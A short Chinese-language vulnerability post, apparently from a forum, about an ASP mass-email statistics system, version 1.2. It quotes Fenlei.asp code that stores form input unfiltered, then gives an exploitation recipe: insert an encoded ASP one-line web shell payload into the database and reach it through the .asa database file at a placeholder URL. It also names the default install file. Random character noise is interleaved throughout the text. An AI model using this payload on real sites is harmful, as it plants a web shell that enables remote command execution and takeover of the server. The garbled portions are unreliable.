铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
" \4 D9 i( V5 J- ]  C& [
; R. D3 E# b8 RIF Request.QueryString("Action")="del" Then
' J( k, @1 |- mID=Request.QueryString("ID")
6 e2 B* ]9 Y5 WIF Countss ("tui","Fenlei",ID )<>0 then
0 H( z5 ?* x, X'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
/ I% s8 R$ p! `+ i) [" @$ S6 j& URs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
  a; \. n! c# s) {0 F% F1 x8 b  B

, K  t5 R9 G2 W2 i
没有过滤，直接写入数据库。
) ^4 T' C3 @6 D1 F" d  o
利用方法：
, W, i9 u, N- P% ~" j
* {9 S+ R5 v4 c/ g, ]& o9 {插入：┼攠數畣整爠煥敵瑳∨≡┩>

& f) |1 T! L* f% q% z1 G
连接： http://www.xxx.com/###tongbaner.asa
9 T$ l& B  p" n( ^! r" [  Y8 h3 S'默认安装文件：
: b1 s  P* ?! f$ h'install.asp
; M" k' I# a, ]9 Z